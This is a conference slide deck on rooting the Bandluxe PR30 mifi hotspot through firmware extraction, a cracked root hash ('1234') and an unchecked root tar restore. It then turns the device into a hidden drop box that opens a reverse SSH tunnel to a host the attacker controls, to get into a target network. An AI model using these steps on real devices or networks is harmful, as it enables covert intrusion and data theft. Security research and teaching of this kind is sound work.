Drop it like it's hotspot
Steve Lord
Agenda
What This Is About

- How to hack Linux-based embedded devices
- How to abuse mifi hotspots
- Some toys
Who Is This Guy?
No, really? Who is he?

• @stevelord
  • Career Pentester
• Technical Director at Mandalorian
• @44Con co-founder
• Tiger Scheme Tech Panel Member
• Described as a “walking 4chan” by some guy at AppSec EU last year
Conclusion

Thanks for listening

• Breaking embedded systems is easy
• For some values of embedded systems
• And some values of easy
Weight?

1 TON
I Was In A Hot Country

No, really
And I Saw This
What Is That?
Bandluxe PR30 Mifi Hotspot

- Based on Freescale i.MX25
  - ARM926EJ-S
- HSPA+
- Built in 802.11 b/g
- Micro SD slot
  - SMB Server
Other Stuff
Bandluxe PR30 Mifi Hotspot

- Exports .iso as CD
- Uses RNDIS for USB Net
- External 3G antenna port
- 2200 mAH battery (4 hours!)
  - Nearly 24 hours with a spare 10000 mAH pack!
An Approach
Taking control

- Profile the device
- Analyse the firmware
- Find and exploit flaws
Profile The Device

Lets take a look
Profile The Device

Let's take a look
Profile The Device

Lets take a look

Hi,

I bought a Bandrich PR30 in Saudi Arabia and would like to get a copy of the firmware. I was just wondering where I could download the firmware?

Thanks,

Steve
Profile The Device

Let's take a look

Dear Steve,

Thank you very much for your patronage of BandRich products.

For FW upgrade, please kindly download the file from the link below:


Thanks and have a nice day!

Best Regards,
Analyse The Firmware
What's in the box?
Analyse The Firmware

What's in the box?
Analyse The Firmware
What's in the box?
Analyse The Firmware

What's in the box?
Analyse The Firmware

What's in the box?

```bash
sleep 3

echo "..."

sed -e '1,/^rootfs-tag/d' "$0" | gzip -t -

err_chk=$?

if [ $err_chk -ne 1 ]; then
    echo "Upgrading rootfs..."
    sync
    mount -o remount,ro /
    mtd erase mtd3
    sed -e '1,/^rootfs-tag/d' "$0" | tar xzO - | mtd write - mtd3
    echo "...Upgrade Finish"
    echo "System will reboot..."
    sync
    sync
    sync
    sleep 5
    reboot -f
else
    echo "Fail to decompress rootfs image!"

exit
(END)
```
Analyse The Firmware
What's in the box?

```
[steve@homestar pr30]$ binwalk openwrt-web-upgrade.bin

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEX</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>1101</td>
<td>0x44D</td>
<td>gzip compressed data, from Unix, last modified:</td>
</tr>
<tr>
<td>Thu Jun 2 10:15:37 2011</td>
<td>1997880</td>
<td>gzip compressed data, from Unix, last modified:</td>
</tr>
<tr>
<td>Thu Jun 2 10:15:37 2011</td>
<td>7007294</td>
<td>CramFS filesystem, little endian size 2607212958, version #2 hole_support CRC 0xb2ef5b4a, edition 3584743124, 3472601885 blocks, 2979142318 files</td>
</tr>
</tbody>
</table>

[steve@homestar pr30]$ dd bs=1 skip=1997880 if=openwrt-web-upgrade.bin of=part2.img
6329634+0 records in
6329634+0 records out
6329634 bytes (6.3 MB) copied, 33.6805 s, 188 kB/s

[steve@homestar pr30]$ dd bs=1 skip=7007294 if=openwrt-web-upgrade.bin of=part3.img
1320220+0 records in
1320220+0 records out
1320220 bytes (1.3 MB) copied, 7.00861 s, 188 kB/s
```
Analyse The Firmware
What's in the box?
Analyse The Firmware

What's in the box?

```
sudo -H -s
mknod /tmp/mtdblock0 b 31 0
modprobe loop
losetup /dev/loop0 rootfs_jffs2.temp
modprobe mtdblock
modprobe block2mtd

[steve@homestar mtd]# echo /dev/loop0,128KiB > /sys/module/block2mtd/parameters/block2mtd
modprobe jffs2
mount -t jffs2 /tmp/mtdblock0 /media/
ls /media/
bandrich data etc linuxrc proc root sysuserdata var
bin dev lib mnt rom sbin tmp usr www

[steve@homestar mtd]$ cd /media/
[steve@homestar media]$ ls
bandrich data etc linuxrc proc root sysuserdata var
bin dev lib mnt rom sbin tmp usr www

[steve@homestar media]$ ls -lh
total 1.0K
drw-r-xr-x 2 root root 0 Jun 2 2011 bandrich
drw-r-xr-x 2 root root 0 Jun 2 2011 bin
drw-r-xr-x 2 root root 0 Jun 2 2011 data
drw-r-xr-x 2 root root 0 Jun 2 2011 dev
drw-r-xr-x 16 root root 0 Jun 2 2011 etc
```
Analyse The Firmware

What's in the box?
Analyse The Firmware

What's in the box?

```
[root@homestar media]# cat etc/passwd
root:$1$Llw2Gf2Q$zuWKKmmbHSdxIw82a48o.:0:0:root:/root:/bin/ash
nobody:*:65534:65534:nobody:/var/bin/false
daemon:*:65534:65534:daemon:/var/bin/false
[root@homestar media]#
```

```
[steve@homestar bh]$ john passwd
Loaded 1 password hash (FreeBSD MD5 [SSE2i 12x])
1234 (root)    
guesses: 1 time: 0:00:00:00 DONE (Sat Feb 25 21:34:16 2012) c/s: 968 trying: 123456 - pepper
Use the "--show" option to display all of the cracked passwords reliably
[steve@homestar bh]$
```
Analyse The Firmware

Conclusions

• Firmware contains mtd 2 and 3 partitions
  • Other mtd partitions referenced in software

• Could reconstruct modified firmware
  • Risky but doable
Find And Exploit Flaws

Time to root

- Bandrich customised x-wrt webif
  - Uses haserl to execute shell scripts
  - Runs as root
  - Looks pretty legit to me
### Find And Exploit Flaws

**Time to root**

<table>
<thead>
<tr>
<th>Internet Connection</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connection Type</td>
<td>Automatic</td>
</tr>
<tr>
<td>APN</td>
<td>Internet</td>
</tr>
<tr>
<td>Internet IP Address</td>
<td>10.140.10.136</td>
</tr>
<tr>
<td>Subnet Mask</td>
<td>255.255.255.0</td>
</tr>
<tr>
<td>Default Gateway</td>
<td>10.140.10.137</td>
</tr>
<tr>
<td>DNS 1</td>
<td>88.82.13.28</td>
</tr>
<tr>
<td>DNS 2</td>
<td>88.82.13.28</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>WLAN Network</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>SSID</td>
<td>brtest</td>
</tr>
<tr>
<td>Standard Channel</td>
<td>Auto</td>
</tr>
<tr>
<td>Security</td>
<td>Disabled</td>
</tr>
<tr>
<td>SSID Broadcast</td>
<td>On</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Firmware Information</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Router Firmware Version</td>
<td>8.09-065-generic</td>
</tr>
<tr>
<td>Modem Firmware Version</td>
<td>1.5.02.01.10</td>
</tr>
</tbody>
</table>
Find And Exploit Flaws

Time to root
Find And Exploit Flaws

Time to root
Find And Exploit Flaws

Time to root
Find And Exploit Flaws

Time to root
Find And Exploit Flaws

Time to root
Find And Exploit Flaws

Time to root

• Backup/Restore
  • Uses tar
  • No integrity checks
  • Untars to /
    - As root
    - :)
Find And Exploit Flaws

Time to root

```
192.168.21.1 - PuTTY

libfreetype.so.6.3.20  libncurses.so.5  libz.so.1
libiconv.so  libncurses.so.5.7  libz.so.1.2.3
libiconv.so.2  libn-tiny.so  lua
libiconv.so.2.4.0  libpanel.so  opkg
libip4tc.so  libpanel.so.5  pppd
libip4tc.so.0  libpanel.so.5.7  uci_trigger.so
libip4tc.so.0.0.0  libsqlite3.so.0  webif
libip6tc.so  libsqlite3.so.0.8.6

root@OpenWrt:/etc# opkg list | grep sql
libsqlite3 - 3.6.20-2
root@OpenWrt:/etc# ls rc.d/
K50dropbear  S40network  S60dnsmasq
K85br_wifi  S44br_udhcpd  S90custom-user-startup
K90brwan  S45br_wifi  S90webif
K90network  S46meSh  S90webiffirewalllog
K98boot  S47br_wan  S95done
K99mount  S49crontab  S96led
S10boot  S50br_sd  S97watchdog
S11timezone  S50cron  S99br_factory
S13br_mount  S50dropbear  S99br_first_boot
S15br_recover  S50httpd  S99dmsegbackup
S20brcd  S50telnet  S99samba
S39usb  S55br_doze  S99sysctl

root@OpenWrt:/etc#
```
Find And Exploit Flaws

Time to root

IF DROPBEAR STARTS ON BOOT

WHY ISN'T IT RUNNING?
Find And Exploit Flaws

Time to root

```bash
#!/bin/sh /etc/rc.common
# Copyright (C) 2006-2010 OpenWrt.org
# Copyright (C) 2006 Carlos Sobrinho

NAME=dropbear
PROG=/usr/sbin/dropbear
START=50
STOP=50
PIDCOUNT=0
EXTRA_COMMANDS="killclients"
EXTRA_HELP="killclients Kill \$\{NAME\} processes except servers and yourself"

dropbear_start()
{
    if [ -f /mnt/bandrich789 ]; then
        echo "Enable SSH service"
    else
        echo "Disable SSH service"
        exit
    fi

    local section="$1"
```
And Once We're On The Box
It's showtime, people

```
192.168.21.1 - PuTTY

login as: root
root@192.168.21.1's password:

BusyBox v1.15.3 (2010-12-15 12:24:52 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

[Text content]

diff -c -r OpenWrt:~ root@OpenWrt:~

root@OpenWrt:~:# uname -a
Linux OpenWrt 2.6.31 #2 Wed Dec 15 13:26:56 CST 2010 armv5tejl GNU/Linux
root@OpenWrt:~: #
```
Takeaways
Chipsy King style

- Linux devices are not as hard as they seem
- This device employs much security comedy
- Root is only half the battle...
Agenda
What This Is About

- How to hack Linux-based embedded devices
- How to abuse mifi hotspots
- Some toys
How To Abuse Hotspots
Dropping it like it's hotspot

• Ideas
  • Extend cyber<war||space||marketing> into physically disconnected environments
  • Autonomous meshes
  • Evil mobile coffee hotspot
How To Abuse Hotspots

Attack platform

The Plan
We Pick A Target
We Take One Of These
Modified, natch
Stick It Under One Of These
And Hope No-one Notices
But Seriously, Folks
Dropping it like it's hotspot

- Considerations
  - Host tools on target versus route through
  - Connect to device vs device connects out
  - Crack Wifi from device vs pre-pwned wifi
Before We Begin
Stage 1: Steal Underpants

• We need a cross-compile toolchain
  • i.MX25 compatible compiler
  • uClibc compatible
  • OpenWRT Buildroot
Before We Begin
Stage 1: Steal Underpants

- IMX.25 Compatible Compiler
  - http://www.landley.net/code/aboriginal/downloads/binaries/cross-compiler/cross-compiler-armv5l.tar.bz2
    - Needs 32-bit linux (I used an Ubuntu VM)
    - Not quite the right compiler
    - But uses uClibc...
Before We Begin

Stage 1: Steal Underpants

```
notroot@ubuntu:~/workdir/imx25/app

notroot@ubuntu:~/workdir/imx25/app$ cat hello_world.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc,char *argv[]) {
    printf("Hello world!!!\n");
    return 0;
}

notroot@ubuntu:~/workdir/imx25/app$ ./cross-compiler-armv5l/bin/armv5l-gcc -Wall hello_world.c -o hello_world

notroot@ubuntu:~/workdir/imx25/app$
```
Before We Begin
Stage 1: Steal Underpants
Before We Begin
Stage 1: Steal Underpants

• OpenWRT Buildroot
  • Regular Kamikaze 'awkward'
  • http://www.voipac.com/downloads/imx/25/src/openwrt/
    - Some parts compile better, some not so good
Before We Begin
Stage 1: Steal Underpants

• Preparing our buildroot
  • Untar, patch voipac sources
  • Make menuconfig
Before We Begin
Stage 1: Steal Underpants
Before We Begin
Stage 1: Steal Underpants
Before We Begin
Stage 1: Steal Underpants
Before We Begin
Stage 1: Steal Underpants

• Suggested target options
  • -O3
  • -march=armv5te
  • -mcpu=arm926ej-s
  • -mfloat-abi=soft
  • -pipe
  • -mthumb
  • -mthumb-interwork
  • -fomit-frame-pointer
Before We Begin
Stage 1: Steal Underpants

- Update package list
  - scripts/feeds update -a
  - scripts/feeds install -a
- Make a sample package
  - make package/axel/compile
  - .ipk will be in bin/imx25/
Before We Begin
Stage 1: Steal Underpants

```
root@OpenWrt:~# df -h
Filesystem  Size  Used  Available  Use% Mounted on
/dev/root    10.0M  7.7M   2.3M   77% /
tmpfs       13.9M 264.0K  13.7M   2% /tmp
tmpfs        512.0K        0  512.0K   0% /dev
/dev/mtdblock5  46.0M  19.6M  26.4M  43% /userdata
/dev/mtdblock1  1.0M  412.0K  612.0K  40% /data
```

```
root@OpenWrt:~# cd /userdata/
root@OpenWrt:/userdata# ls
BR_USERDATA_version  brlcd  default
axel_2.4-2_imx25.ipk  cdrom.iso
root@OpenWrt:/userdata# opkg install axel_2.4-2_imx25.ipk
Installing axel (2.4-2) to root...
Configuring axel.
root@OpenWrt:/userdata# opkg list | grep axel
axel - 2.4-2
root@OpenWrt:/userdata# axel http://www.44con.com/
Initializing download: http://www.44con.com/
Opening output file default.0
Server unsupported, starting from scratch with one connection.
Starting download

Connection 0 finished
Downloaded 221 kilobytes in 0 seconds. (25.76 KB/s)
root@OpenWrt:/userdata#  
```
After Before We Begin
Stage 2: ????
Gotchas

Stage 2: ????

- uClibc is not tool friendly
- Mx25 port appears incomplete
- Rob Landley's compiler doesn't like the code I throw at it
  - Mainly due to the armv5l vs armv5te
  - Also uclibc weirdness
- Packages need to be set in menuconfig
How It Should Work

Stage 2: ????

- Our real attack system
- Compromised Staging System on Interweb
- Company Security Boundary (Auditing, Monitoring, Stuff to avoid)
- Target Wireless Network (pre-compromised)
- Internal Boxes w/ Delicious Data
- Our Hotspot
Start With SSH
Stage 2: ????

- Use reverse SSH to host we control
  - SSH Back in
  - Set option GatewayPorts 'yes' in /etc/config/dropbear

- Alternate options
  - OpenVPN
  - <protocol>Tunnel
Start With SSH

Stage 2: ????

```
root@OpenWrt:~# ssh -l steve -R 7722:localhost:22 jango.mandalorian.com
steve@jango.mandalorian.com's password:
Linux jango 2.6.29-xis5.5.0.15 #1 SMP Wed Nov 11 12:10:17 UTC 2009 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 4 15:52:14 2012 from 78-86-194-239.zones2.bethere.co.uk
jango% 
```
Start With SSH
Stage 2: ????
Configure Wifi

Stage 2: ????

- IME ignore standard convention
  - Anything that works
  - Won't work (yet) on the bandrich
Deployment

Stage 3: Profit
Deployment
Stage 3: Profit
Takeaways
Tasty, delicious, takeaways

• Weaponising hotspots is fun
  • If you enjoy swearing at compilers
• Ubiquitous computing lowers the cost of attack
  • We're doing this already with bigger kit
• The possibilities for handheld devices are endless
  • Use your imagination!
Agenda
What This Is About

• How to hack Linux-based embedded devices
• How to abuse mifi hotspots
• Some toys
Some Toys
Give me tools, they said!

- PR39 Onanist's Toolkit Installer
  - Tested on Ubuntu 8.04 LTS
  - Installs and prepares the following
    - Angstrom compiler
    - Landley compiler
    - OpenWRT build kit
    - Sample tools
    - Test packages
- White paper to follow
This presentation brought to you by coffee, pizza, beer, Goldfrapp, many cups of tea, not much sleep and swearing at @#$!ing segfaulting code. Catch me next at DC4420 on the 24th April. CC-NC-SA ©2011 Mandalorian.